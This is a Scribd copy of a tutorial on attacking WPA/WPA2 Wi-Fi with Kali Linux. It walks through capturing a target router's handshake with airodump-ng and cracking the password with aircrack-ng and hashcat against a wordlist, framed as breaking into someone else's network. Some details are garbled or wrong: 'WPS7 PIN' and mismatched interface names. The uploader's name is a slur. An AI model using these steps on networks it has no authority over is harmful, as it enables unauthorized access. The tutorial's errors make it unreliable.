Scribd
Upload
2 views

Kali Linux WPA and WPA2 Attacks – Linux Hint

The article provides an overview of Wi-Fi technology and its vulnerabilities, particularly focusing on WPA and WPA2 security protocols. It outlines a step-by-step guide on using Kali Linux tools to hack into Wi-Fi networks, including commands for installation and monitoring. The article emphasizes the importance of strong passwords and highlights the ease with which weakly secured networks can be compromised.

Uploaded by

faggotkilla
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
2 views

Kali Linux WPA and WPA2 Attacks – Linux Hint

The article provides an overview of Wi-Fi technology and its vulnerabilities, particularly focusing on WPA and WPA2 security protocols. It outlines a step-by-step guide on using Kali Linux tools to hack into Wi-Fi networks, including commands for installation and monitoring. The article emphasizes the importance of strong passwords and highlights the ease with which weakly secured networks can be compromised.

Uploaded by

faggotkilla
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 16

HOME SUBSCRIBE! WRITE FOR US PRIVACY TERMS !

Ad

Cyber Smart - Cybersecurity


Bestseller
Learn how the Brilliance in the Basics of Cybersecurity from
an industry expert

bartmcd.com Visit Site

Kali Linux

Kali Linux WPA and WPA2 Attacks


6 months ago • by Younis Said

This article will give you an overview of Wi-Fi and Wi-Fi hacking. We will begin with a basic
introduction of Wi-Fi and hacking.

Introduction
Wireless fidelity, or Wi-Fi, is a type of technology employed to provide connectivity to a
computer network without a cable or hardwired connection. Wi-Fi works within the 2.4 Ghz to 5
Ghz range and should not interfere with cellphones, broadcast radio, television, or handheld
radios. Wi-Fi functions by transmitting data over radio waves between a client device and a
device called a router. A router can transmit data to systems internally, or externally to the
Internet. Wi-Fi is neither more nor less secure than a traditional hard-wired network but is
instead a completely different interface. The most important thing to remember is that Wired
Equivalent Privacy (WEP) was released in 1997 and is easy to break into. WEP can be broken
in minutes or less. Your modern devices will not work with the WEP network and most routers
no longer support it. The updated WEP can also be broken into through hacking methods.
:
Hacking
Simply put, to crack or break into someone’s personal information is known as hacking.
Hackers can easily access to your personal device or computer. They can crack your
passcodes and get access to your wireless network. They can bypass the security of the
wireless network and break in, no matter what type of encryption the user is using.

Typically, if you want to break in into someone’s wireless network, you will first need to know
about the encryption being used. As mentioned earlier, the WPE type network has not been
secure for quite some time. It can generally be broken into in a matter of minutes. The same is
true with the WPA network if you use a weak password. However, if you use a strong
password, it is relatively secure, except for WPS7 PIN. This is a hardware base vulnerability
that a lot of routers use, allowing hackers to get the pin that provides complete access to the
router. This is usually an eight-digit number written at the bottom of the router. You can derive
this number by following the steps below.

Open Kali Linux Terminal


The first step is to simply open the Kali Linux terminal. To do so, press ALT+CTRL+T. You can
also press on the terminal app icon to open the terminal.
:
Enter Command for aircrack-ng Installation
The next step is to install aircrack-ng. Enter the following command to do so:

$ sudo apt-get install aircrack-ng

Enter Password to Log In


Enter your root password to enable access. After entering the login password, press the Enter
button to continue.
:
Cyber Smart
Cybersecurity Bestseller

Learn how the Brilliance in the Basics of Cybersecurity


from an industry expert
bartmcd.com

OPEN

Install aircrack-ng
Soon after logging in, press the Y button. This will enable the installation of aircrack-ng.

Turn on airmon-ng
Airmon-ng is the software used to convert the managed mode into the monitor mode. Use the
following command to turn on airmon-ng:

$ airmon-ng
:
Find Monitor Name
The next step is to find the monitor name to continue hacking. You can view the monitor name
in the interface column. In some cases, you may not be able to view the monitor name. This
error occurs if your card is not supported.

Begin Monitoring the Network


Enter the following command to begin the monitoring process:

$ airmon-ng start wlan0


:
Ad

Cyber Smart
Learn how the Brilliance in the Basics of
Cybersecurity from an industry expert

bartmcd.com Visit Site

If you are targeting some other network, then you should replace ‘wlan0’ with the correct
network name.

Enable Monitor Mode Interface


The following command is used to enable the monitor mode interface:

$ iwconfig
:
Cyber Smart
Cybersecurity Bestseller

Learn how the Brilliance in the Basics of Cybersecurity


from an industry expert
bartmcd.com

OPEN

Kill Processes that Return Errors


Your system may cause some interference. Use the following command to remove this error.

$ airmon-ng check kill

Review Monitor Interface


The next step is to review the monitor name. In this case, it is named ‘wlan0mon.’
:
Ad

Cyber Smart
Learn how the Brilliance in the Basics of
Cybersecurity from an industry expert

bartmcd.com Visit Site

Get Names of All Routers


The names of all available routers will appear after you enter the following command.

$ airodump-ng mon0

Find the Name of the Router


You will first need to find the name of the specific router that you want to hack.
:
Replay

Ensure that the Router Uses WPA or WPA2 Security


If the WPA name appears on the screen, then you can continue hacking.

Note the MAC address and channel number.

This is the basic information about the network. You can view them on the left side of the
network.
:
Sponsored by Visible

Wireless service that gets


better with friends.
Switch to Visible for as low as $25/mo. Or bring a friend…
and get a month for $5. Unlimited data. Powered by
Verizon. Terms apply.

SEE MORE

Monitor the Selected Network


Use the following command to monitor the details of the network you want to hack.

$ airodump-ng -c channel --bssid MAC -w /root/Desktop/ mon0


:
Accredited Online Programs

Most courses are offered online and all are taught with a Christian worldview.
CCU Online

Wait for Handshake


Wait until you see ‘WPA HANDSHAKE’ written on your screen.

Exit the window by pressing CTRL+C. A cap file will appear on your computer screen. "
×
Rename the cap File
For your ease, you can edit the name of the file. Use the following command for this purpose:

$ mv ./-01.cap name.cap
:
Convert File into hccapx Format
You can convert the file into hccapx format easily with the help of the Kali converter.

Use the following command to do so:

$ cap2hccapx.bin name.cap name.hccapx

Install naive-hash-cat
:
Now, you can crack the password by using this service. Use the following command to begin
cracking.

$ sudo git clone https://github.com/brannondorsey/naive-hashcat


$ cd naive-hash-cat

$ curl -L -o dicts/rockyou.txt
Run naive-hash-cat
To run the naive-hash-cat service, enter the following command:

$ HASH_FILE=name.hccapx POT_FILE=name.pot HASH_TYPE=2500 ./naive-hash-cat.sh


:
Wait for the Network Password to Be Cracked
As soon as the password is cracked, it will be mentioned in the file. This process can take
months or even years to complete. Enter the following command when this process gets
completed to save the password. The cracked password is shown in the last screenshot.
[cc lang=”bash” width=”780″]
$ aircrack-ng -a2 -b MAC -w rockyou.txt name.cap
[cc]

Conclusion
By using Kali Linux and its tools, hacking can become easy. You can easily get access to the
:
passwords by just following the steps listed above. Hopefully, this article will help you to crack
the password and become an ethical hacker.

ABOUT THE AUTHOR

Younis Said
I am a freelancing software project developer, a software engineering
graduate and a content writer. I love working with Linux and open-source
software.

View all posts

RELATED LINUX HINT POSTS


:
Best Information Gathering Tools
in Kali Linux

Best Books for Kali Linux

Install Kali Linux 2020.2 in Virtual


Box

Ping Sweep in Kali Linux 2020

How to Find MAC Addresses in


Kali Linux

KALI LINUX WPA AND WPA2


ATTACKS

How to Update Your Kali Linux


System

Linux Hint LLC, [email protected]


1210 Kelly Park Cir, Morgan Hill, CA 95037

AN ELITE CAFEMEDIA PUBLISHER


:

You might also like